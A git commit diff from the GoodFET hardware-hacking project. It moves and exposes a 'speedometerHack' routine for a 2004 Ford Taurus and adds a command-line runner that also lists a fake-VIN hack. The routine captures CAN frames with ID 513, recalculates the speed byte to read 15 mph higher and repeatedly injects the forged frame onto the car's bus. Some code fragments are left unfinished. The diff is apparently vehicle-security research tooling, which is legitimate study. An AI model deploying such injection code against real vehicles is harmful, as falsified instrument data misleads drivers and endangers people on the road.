From: chrishoder Date: Sun, 24 Feb 2013 03:36:42 +0000 (+0000) Subject: added comments X-Git-Url: http://git.rot13.org/?p=goodfet;a=commitdiff_plain;h=60199925981808668a7fd5d86602a4e574bc2b63 added comments git-svn-id: https://svn.code.sf.net/p/goodfet/code/trunk@1531 12e2690d-a6be-4b82-a7b7-67c4a43b65c8 --- diff --git a/client/FordExperiments.py b/client/FordExperiments.py index 3318514..f359bfa 100644 --- a/client/FordExperiments.py +++ b/client/FordExperiments.py @@ -14,7 +14,10 @@ import math tT = time class FordExperiments(experiments): - + """ + This class is a subclass of experiments and is a car specific module for + demonstrating and testing hacks. + """ def __init__(self, dataLocation = "../../contrib/ThayerData/"): GoodFETMCPCANCommunication.__init__(self, dataLocation) #super(FordExperiments,self).__init__(self) #initialize chip @@ -260,15 +263,77 @@ class FordExperiments(experiments): #send packets self.multpackSpit(packet0rts=True,packet1rts=True,packet2rts=True) - + def speedometerHack(self): + + self.client.serInit() + self.spitSetup(500) + + self.addFilter([513, 513, 513]) + + SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5 + SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0 + + while(1): + + packet = None; + + # catch a packet and check its db4 value + while (packet == None): + packet=self.client.rxpacket(); + + print "DB4 = %d" %packet[9] + mph = 1.617*packet[9] - 63.5 + print "Current MPH = 1.617(%d)-63.5 = %d" %(packet[9], mph) + + # calculate our new mph and db4 value + mph = mph + 15; + packet[9] = ( mph + 63.5 ) / 1.617 + + # load new packet into TXB0 and check time + self.multiPacketSpit(packet0=packet, packet0rts=True) + starttime = time.time() + + # spit new value for 1 second + while (time.time()-starttime < 1): + self.multiPacketSpit(packet0rts=True) + + + + [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs + 0x08, # bit 6 must be set to 0 for data frame (1 for RTR) + # lower nibble is DLC + packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]] + + +# while((time.time()-starttime < duration)): +# +# if(faster): +# packet=self.client.fastrxpacket(); +# else: + + if __name__ == "__main__": - fe = FordExperiments("asdsf"); - #packetData = {} - #packetData['db4'] = 4; - #runTime = 100; - #fe.mimic1056(packetData, runTime) - #fe.cycledb1_1056(runTime) - #fe.oscillateTemperature(runTime) - fe.fakeVIN() + + parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,description='''\ + + Run Hacks on a Ford taurus 2004: + + speedometerHack + fakeVIN + ''') + parser.add_argument('verb', choices=['speedometerHack']); + parser.add_argument('-v', '--variable', type=int, action='append', help='Input values to the method of choice', default=None); + + + args = parser.parse_args(); + inputs = args.variable + fe = FordExperiments("../../contrib/ThayerData/"); + + if( args.verb == 'speedometerHack'): + fe.speedometerHack() + elif( args.verb == 'fakeVIN'): + fe.fakeVIN() + + diff --git a/client/GoodFETMCPCANCommunication.py b/client/GoodFETMCPCANCommunication.py index 88f01df..f0e6eaf 100644 --- a/client/GoodFETMCPCANCommunication.py +++ b/client/GoodFETMCPCANCommunication.py @@ -830,55 +830,6 @@ class GoodFETMCPCANCommunication: self.client.txpacket(packet) - def speedometerHack(self): - - self.client.serInit() - self.spitSetup(500) - - self.addFilter([513, 513, 513]) - - SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5 - SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0 - - while(1): - - packet = None; - - # catch a packet and check its db4 value - while (packet == None): - packet=self.client.rxpacket(); - - print "DB4 = %d" %packet[9] - mph = 1.617*packet[9] - 63.5 - print "Current MPH = 1.617(%d)-63.5 = %d" %(packet[9], mph) - - # calculate our new mph and db4 value - mph = mph + 15; - packet[9] = ( mph + 63.5 ) / 1.617 - - # load new packet into TXB0 and check time - self.multiPacketSpit(packet0=packet, packet0rts=True) - starttime = time.time() - - # spit new value for 1 second - while (time.time()-starttime < 1): - self.multiPacketSpit(packet0rts=True) - - - - [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs - 0x08, # bit 6 must be set to 0 for data frame (1 for RTR) - # lower nibble is DLC - packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]] - - -# while((time.time()-starttime < duration)): -# -# if(faster): -# packet=self.client.fastrxpacket(); -# else: - -